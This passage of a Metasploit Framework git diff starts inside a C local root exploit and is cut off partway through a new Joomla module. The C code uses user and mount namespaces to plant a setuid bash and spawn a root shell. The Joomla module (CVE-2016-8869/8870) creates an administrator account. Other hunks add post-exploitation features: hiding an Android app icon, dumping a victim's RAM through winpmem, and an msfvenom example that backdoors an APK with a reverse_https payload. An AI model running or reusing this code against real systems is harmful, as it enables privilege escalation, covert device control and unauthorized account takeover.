chdir("/tmp/haxhax/o"); + chmod("bash",04755); + chdir("/"); + umount("/tmp/haxhax/o"); + return 0; +} + +int +main(int argc, char **argv) +{ + int status; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + struct stat s; + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + stat("/tmp/haxhax/u/bash",&s); + + if(s.st_mode == 0x89ed) + execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); + + fprintf(stderr,"couldn't create suid :(\n"); + return -1; +} diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb index 812e631458..e7057b0022 100644 --- a/lib/metasploit/framework/login_scanner/telnet.rb +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -133,6 +133,8 @@ module Metasploit @parent.print_error(message) end + alias_method :print_bad, :print_error + end end end diff --git a/lib/metasploit/framework/mssql/tdssslproxy.rb b/lib/metasploit/framework/mssql/tdssslproxy.rb index e48499d346..1e020c31bb 100644 --- a/lib/metasploit/framework/mssql/tdssslproxy.rb +++ b/lib/metasploit/framework/mssql/tdssslproxy.rb @@ -51,8 +51,9 @@ class TDSSSLProxy def setup_ssl @running = true @t1 = Thread.start { ssl_setup_thread } - ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1) - @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context) + ctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM" + @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx) @ssl_socket.connect end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 3968e8489d..429d24e8f2 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.12.40" + VERSION = "4.13.1" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index fb2738ddad..defde2af90 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -667,6 +667,8 @@ module Auxiliary::AuthBrute print_brute :level => :verror, :legacy_msg => msg end + alias_method :vprint_bad, :vprint_error + # Legacy vprint def vprint_good(msg='') print_brute :level => :vgood, :legacy_msg => msg diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 45c91883ce..90fb92a2c9 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -326,5 +326,7 @@ class Auxiliary::Web::HTTP @parent.print_error message end + alias_method :print_bad, :print_error + end end diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index ba24485608..b3f37e2c08 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -228,12 +228,9 @@ protected end def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new - ctx.key = OpenSSL::PKey::RSA.new(1024){ } - - ctx.session_id_context = Rex::Text.rand_text(16) - - return ctx + ctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM" + ctx end end diff --git a/lib/msf/core/module/ui/message.rb b/lib/msf/core/module/ui/message.rb index c706a35702..1eb480b2a2 100644 --- a/lib/msf/core/module/ui/message.rb +++ b/lib/msf/core/module/ui/message.rb @@ -8,6 +8,8 @@ module Msf::Module::UI::Message super(print_prefix + msg) end + alias_method :print_bad, :print_error + def print_good(msg='') super(print_prefix + msg) end diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index a47a7e8f11..06c2b63611 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -4,6 +4,8 @@ module Msf::Module::UI::Message::Verbose print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end + alias_method :vprint_bad, :vprint_error + # Verbose version of #print_good def vprint_good(msg='') print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index ca7f7676a6..ab344b2880 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -19,6 +19,8 @@ class Msf::Payload::Apk $stderr.puts "[-] #{msg}" end + alias_method :print_bad, :print_error + def usage print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" @@ -75,17 +77,23 @@ class Msf::Payload::Apk original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") original_permissions = original_manifest.xpath("//manifest/uses-permission") - manifest = original_manifest.xpath('/manifest') old_permissions = [] - for permission in original_permissions + original_permissions.each do |permission| name = permission.attribute("name").to_s old_permissions << name end - for permission in payload_permissions + + application = original_manifest.xpath('//manifest/application') + payload_permissions.each do |permission| name = permission.attribute("name").to_s unless old_permissions.include?(name) print_status("Adding #{name}") - original_permissions.before(permission.to_xml) + if original_permissions.empty? + application.before(permission.to_xml) + original_permissions = original_manifest.xpath("//manifest/uses-permission") + else + original_permissions.before(permission.to_xml) + end end end @@ -93,12 +101,12 @@ class Msf::Payload::Apk application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml application << payload_manifest.at_xpath('/manifest/application/service').to_xml - File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml } + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml } end def parse_orig_cert_data(orig_apkfile) orig_cert_data = Array[] - keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}") + keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") owner_line = keytool_output.match(/^Owner:.+/)[0] orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_data.push("#{orig_cert_dname}") diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 0a358aae64..9075144fa0 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp # Add extra options if we have enough space if self.available_space && required_space <= self.available_space - conf[:uri] = generate_uri + conf[:uri] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -49,7 +49,7 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_ie] = datastore['PayloadProxyIE'] else # Otherwise default to small URIs - conf[:uri] = generate_small_uri + conf[:uri] = luri + generate_small_uri end generate_reverse_winhttp(conf) @@ -139,7 +139,7 @@ module Payload::Windows::ReverseWinHttp full_url << opts[:uri] encoded_full_url = asm_generate_wchar_array(full_url) - encoded_uri_index = full_url.rindex('/') * 2 + encoded_uri_index = (full_url.length - opts[:uri].length) * 2 if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 1ce0fad154..add108d61f 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -38,7 +38,7 @@ module Payload::Windows::ReverseWinHttp_x64 # Add extra options if we have enough space if self.available_space && required_space <= self.available_space - conf[:uri] = generate_uri + conf[:uri] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -50,7 +50,7 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_ie] = datastore['PayloadProxyIE'] else # Otherwise default to small URIs - conf[:uri] = generate_small_uri + conf[:uri] = luri + generate_small_uri end generate_reverse_winhttp(conf) @@ -141,7 +141,7 @@ module Payload::Windows::ReverseWinHttp_x64 full_url << opts[:uri] encoded_full_url = asm_generate_wchar_array(full_url) - encoded_uri_index = full_url.rindex('/') * 2 + encoded_uri_index = (full_url.length - opts[:uri].length) * 2 if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true diff --git a/lib/msf/core/plugin.rb b/lib/msf/core/plugin.rb index 6ed5fa9e47..7ff0006b0e 100644 --- a/lib/msf/core/plugin.rb +++ b/lib/msf/core/plugin.rb @@ -112,6 +112,8 @@ class Plugin output.print_error(msg) if (output) end + alias_method :print_bad, :print_error + # # Prints a 'good' message. # diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ecc79de11a..35297e3cf2 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1345,17 +1345,11 @@ require 'msf/core/exe/segment_appender' end def self.to_win32pe_psh_net(framework, code, opts={}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code) end def self.to_win32pe_psh(framework, code, opts = {}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code) end # @@ -1364,10 +1358,7 @@ require 'msf/core/exe/segment_appender' # Originally from PowerSploit # def self.to_win32pe_psh_reflection(framework, code, opts = {}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code) end def self.to_powershell_command(framework, arch, code) diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 710e364332..2939ab8c24 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -182,6 +182,25 @@ class APIRequest end end + @res.elements.each('//Failure') do |s| + + # 1.1 returns lower case elements + s.elements.each('message') do |m| + @error = m.text + end + s.elements.each('stacktrace') do |m| + @trace = m.text + end + + # 1.2 returns capitalized elements + s.elements.each('Message') do |m| + @error = m.text + end + s.elements.each('Stacktrace') do |m| + @trace = m.text + end + end + # This is a hack to handle corner cases where a heavily loaded Nexpose instance # drops our HTTP connection before processing. We try 5 times to establish a # connection in these situations. The actual exception occurs in the Ruby diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index c0669e1d65..af80e8645d 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -248,6 +248,12 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + def hide_app_icon + request = Packet.create_request('android_hide_app_icon') + response = client.send_request(request) + response.get_tlv_value(TLV_TYPE_ICON_NAME) + end + def activity_start(uri) request = Packet.create_request('android_activity_start') request.add_tlv(TLV_TYPE_URI_STRING, uri) diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 15d047810b..742a7b7d37 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -81,6 +81,8 @@ TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102) TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103) +TLV_TYPE_ICON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9104) + TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080) TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081) TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082) diff --git a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb new file mode 100644 index 0000000000..fc3fb8c9a8 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Winpmem + TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) + TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb new file mode 100644 index 0000000000..72b8a86af4 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/winpmem/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Winpmem +### +# +# This meterpreter extension can be used to capture remote RAM +# +### +class Winpmem < Extension + WINPMEM_ERROR_SUCCESS = 0 + WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1 + WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2 + WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3 + WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4 + WINPMEM_ERROR_UNKNOWN = 255 + + def initialize(client) + super(client, 'winpmem') + + client.register_extension_aliases( + [ + { + 'name' => 'winpmem', + 'ext' => self + }, + ]) + end + + def dump_ram + request = Packet.create_request('dump_ram') + response = client.send_request(request) + response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE) + + return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS + + memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + + raise Exception, "We did not get a channel back!" if channel_id.nil? + #Open the compressed Channel + channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS) + return memory_size, response_code, channel + end +end +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 692ffe90e8..372324381f 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -673,12 +673,11 @@ class Packet < GroupTlv # def to_r raw = super - xor_key = '' - xor_key << (rand(254) + 1).chr - xor_key << (rand(254) + 1).chr - xor_key << (rand(254) + 1).chr - xor_key << (rand(254) + 1).chr - result = xor_key + xor_bytes(xor_key, raw) + xor_key = rand(254) + 1 + xor_key |= (rand(254) + 1) << 8 + xor_key |= (rand(254) + 1) << 16 + xor_key |= (rand(254) + 1) << 24 + result = [xor_key].pack('N') + xor_bytes(xor_key, raw) result end @@ -689,7 +688,7 @@ class Packet < GroupTlv # the TLV values. # def from_r(bytes) - xor_key = bytes[0,4] + xor_key = bytes[0,4].unpack('N')[0] super(xor_bytes(xor_key, bytes[4, bytes.length])) end @@ -698,7 +697,7 @@ class Packet < GroupTlv # def xor_bytes(xor_key, bytes) result = '' - bytes.bytes.zip(xor_key.bytes.cycle).each do |b| + bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b| result << (b[0].ord ^ b[1].ord).chr end result diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 3fcf34f1fa..5b33c7b7c5 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -57,7 +57,7 @@ class PacketParser # payload length left to the number of bytes # specified in the length if (self.hdr_length_left == 0) - xor_key = raw[0, 4] + xor_key = raw[0, 4].unpack('N')[0] length_bytes = packet.xor_bytes(xor_key, raw[4, 4]) # header size doesn't include the xor key, which is always tacked on the front self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index cc9001aa34..2f0e682330 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -31,6 +31,7 @@ class Console::CommandDispatcher::Android 'wlan_geolocate' => 'Get current lat-long using WLAN information', 'interval_collect' => 'Manage interval collection capabilities', 'activity_start' => 'Start an Android activity from a Uri string', + 'hide_app_icon' => 'Hide the app icon from the launcher', 'sqlite_query' => 'Query a SQLite database from storage', 'set_audio_mode' => 'Set Ringer Mode' } @@ -46,6 +47,7 @@ class Console::CommandDispatcher::Android 'wlan_geolocate' => ['android_wlan_geolocate'], 'interval_collect' => ['android_interval_collect'], 'activity_start' => ['android_activity_start'], + 'hide_app_icon' => ['android_hide_app_icon'], 'sqlite_query' => ['android_sqlite_query'], 'set_audio_mode' => ['android_set_audio_mode'] } @@ -580,6 +582,27 @@ class Console::CommandDispatcher::Android end end + def cmd_hide_app_icon(*args) + hide_app_icon_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + hide_app_icon_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + print_line('Usage: hide_app_icon [options]') + print_line('Hide the application icon from the launcher.') + print_line(hide_app_icon_opts.usage) + return + end + end + + result = client.android.hide_app_icon + if result + print_status("Activity #{result} was hidden") + end + end + def cmd_sqlite_query(*args) sqlite_query_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb new file mode 100644 index 0000000000..f562d7f29a --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb @@ -0,0 +1,90 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + + class Console::CommandDispatcher::Winpmem + + Klass = Console::CommandDispatcher::Winpmem + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Winpmem' + end + + # + # List of supported commands. + # + def commands + { + 'dump_ram' => 'Dump victim RAM', + } + end + + WINPMEM_ERROR_SUCCESS = 0 + WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1 + WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2 + WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3 + WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4 + WINPMEM_ERROR_UNKNOWN = 255 + + def cmd_dump_ram(*args) + unless args[0] + print_error("Usage: dump_ram [output_file]") + return + end + path_raw = args[0] + + fd = ::File.new(path_raw, 'wb+') + memory_size, response_code, channel = client.winpmem.dump_ram + case response_code + when WINPMEM_ERROR_FAILED_LOAD_DRIVER + print_error("Failed to load the driver") + return true + when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY + print_error("Failed to get the memory geometry") + return true + when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY + print_error("Failed to allocate memory") + return true + when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL + print_error("Failed to open the meterpreter Channel") + return true + end + print_good("Driver PMEM loaded successfully") + #Arbitrary big buffer size, could be optimized + buffer_size = 2**17 + bytes_read = 0 + next_message_byte = memory_size / 10 + begin + data = channel.read(buffer_size) + until channel.eof + fd.write(data) + bytes_read += data.length + data = channel.read(buffer_size) + if bytes_read >= next_message_byte + print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded") + next_message_byte += memory_size / 10 + end + end + print_status("Download completed") + ensure + print_status("Unloading driver") + fd.close + #Unload the driver on channel close + channel.close + end + return true + end + end + end + end + end + end diff --git a/lib/rex/script/base.rb b/lib/rex/script/base.rb index 4a7afff661..c149e4e163 100644 --- a/lib/rex/script/base.rb +++ b/lib/rex/script/base.rb @@ -9,6 +9,7 @@ class Base def print_status(msg); end def print_good(msg); end def print_error(msg); end + alias_method :print_bad, :print_error def print_warning(msg); end end diff --git a/lib/rex/ui/output.rb b/lib/rex/ui/output.rb index be6fdde92d..4604edafaa 100644 --- a/lib/rex/ui/output.rb +++ b/lib/rex/ui/output.rb @@ -24,6 +24,8 @@ class Output def print_error(msg='') end + alias_method :print_bad, :print_error + # # Prints a 'good' message. # diff --git a/lib/rex/ui/subscriber.rb b/lib/rex/ui/subscriber.rb index bb37471345..d7e43936f1 100644 --- a/lib/rex/ui/subscriber.rb +++ b/lib/rex/ui/subscriber.rb @@ -46,6 +46,8 @@ module Subscriber end end + alias_method :print_bad, :print_error + # # Wraps user_output.print_good # diff --git a/lib/rex/ui/text/bidirectional_pipe.rb b/lib/rex/ui/text/bidirectional_pipe.rb index 491bca9552..1545df8717 100644 --- a/lib/rex/ui/text/bidirectional_pipe.rb +++ b/lib/rex/ui/text/bidirectional_pipe.rb @@ -80,6 +80,8 @@ class BidirectionalPipe < Rex::Ui::Text::Input print_line('[-] ' + msg) end + alias_method :print_bad, :print_error + def print_line(msg='') print(msg + "\n") end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index 7c2ca989e0..878010829c 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -61,6 +61,8 @@ module DispatcherShell shell.print_error(msg) end + alias_method :print_bad, :print_error + # # Wraps shell.print_status # diff --git a/lib/rex/ui/text/input/readline.rb b/lib/rex/ui/text/input/readline.rb index c6839ee630..a2aa670b56 100644 --- a/lib/rex/ui/text/input/readline.rb +++ b/lib/rex/ui/text/input/readline.rb @@ -40,6 +40,20 @@ begin ::Readline.completion_proc = tab_complete_proc || @rl_saved_proc end + + # + # Retrieve the line buffer + # + def line_buffer + if defined? RbReadline + RbReadline.rl_line_buffer + else + ::Readline.line_buffer + end + end + + attr_accessor :prompt + # # Whether or not the input medium supports readline. # @@ -124,12 +138,13 @@ begin # to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58) # for rb-readline to support setting input and output. Output needs to be set so that colorization works for the # prompt on Windows. + self.prompt = prompt if defined? RbReadline RbReadline.rl_instream = fd RbReadline.rl_outstream = output begin - line = RbReadline.readline(prompt) + line = RbReadline.readline("\001\r\033[K\002" + prompt) rescue ::Exception => exception RbReadline.rl_cleanup_after_signal() RbReadline.rl_deprep_terminal() @@ -143,7 +158,7 @@ begin line.try(:dup) else - ::Readline.readline(prompt, true) + ::Readline.readline("\001\r\033[K\002" + prompt, true) end end diff --git a/lib/rex/ui/text/output.rb b/lib/rex/ui/text/output.rb index d48eda6d2e..16f7dc175f 100644 --- a/lib/rex/ui/text/output.rb +++ b/lib/rex/ui/text/output.rb @@ -29,6 +29,7 @@ class Output < Rex::Ui::Output super end attr_reader :config + attr_accessor :input def disable_color @config[:color] = false @@ -51,6 +52,8 @@ class Output < Rex::Ui::Output print_line("%bld%red[-]%clr #{msg}") end + alias_method :print_bad, :print_error + def print_good(msg = '') print_line("%bld%grn[+]%clr #{msg}") end @@ -60,7 +63,14 @@ class Output < Rex::Ui::Output end def print_line(msg = '') - print(msg + "\n") + print("\033[s") # Save cursor position + print("\r\033[K" + msg + "\n") + if input and input.prompt + print("\r\033[K") + print(input.prompt) + print(input.line_buffer) + print("\033[u\033[B") # Restore cursor, move down one line + end end def print_warning(msg = '') diff --git a/lib/rex/ui/text/shell.rb b/lib/rex/ui/text/shell.rb index 63089bc194..7446a87a0d 100644 --- a/lib/rex/ui/text/shell.rb +++ b/lib/rex/ui/text/shell.rb @@ -184,7 +184,9 @@ module Shell self.init_prompt = input.prompt end + output.input = input line = input.pgets() + output.input = nil log_output(input.prompt) # If a block was passed in, pass the line to it. If it returns true, @@ -276,6 +278,8 @@ module Shell log_output(output.print_error(msg)) end + alias_method :print_bad, :print_error + # # Prints a status message to the output handle. # diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4892970d3c..2f3bccbd1e 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,9 +65,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.26' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.1' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb index 00af98129b..fec8f8a2a9 100644 --- a/modules/auxiliary/admin/atg/atg_client.rb +++ b/modules/auxiliary/admin/atg/atg_client.rb @@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary This module acts as a simplistic administrative client for interfacing with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking the TLS-250 and TLS-350 protocols. This has been tested against - GasPot, a honeypot meant to simulate ATGs; it has not been tested - against anything else, so use at your own risk. + GasPot and Conpot, both honeypots meant to simulate ATGs; it has not + been tested against anything else, so use at your own risk. }, 'Author' => [ @@ -31,6 +31,7 @@ class MetasploitModule < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'], ['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'], ['URL', 'https://github.com/sjhilt/GasPot'], + ['URL', 'https://github.com/mushorg/conpot'], ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], ['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'], ['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227'] @@ -187,6 +188,8 @@ class MetasploitModule < Msf::Auxiliary def get_response(request) sock.put(request) response = sock.get_once(-1, timeout) + response.strip! + response += " (command not understood)" if response == "9999FF1B" response end @@ -245,7 +248,8 @@ class MetasploitModule < Msf::Auxiliary end else response = get_response("#{action.opts[protocol_opt_name]}\n") - print_good("#{protocol} #{action.opts['Description']}:\n#{response}") + print_good("#{protocol} #{action.opts['Description']}:") + print_line(response) end ensure disconnect diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb new file mode 100644 index 0000000000..9ceb7083a0 --- /dev/null +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::Joomla + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla Account Creation and Privilege Escalation', + 'Description' => %q{ + This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4 + through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). + }, + 'References' => + [ + ['CVE', '2016-8869'], + ['CVE', '2016-8870'], + ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'], + ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'], + ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2'] + ], + 'Author' => + [ + 'Fabio Pires ', # module creation and privilege escalation + 'Filipe Reis ', # module creation and privilege escalation + 'Vitor Oliveira ', # module creation and privilege escalation + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 25 2016' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']), + OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), + OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), + OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) + ] + ) + end + + def check + res = send_request_cgi('uri' => target_uri.path) + + unless res + print_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + online = joomla_and_online? + unless online + print_error("Unable to detect joomla on #{target_uri.path}") + return 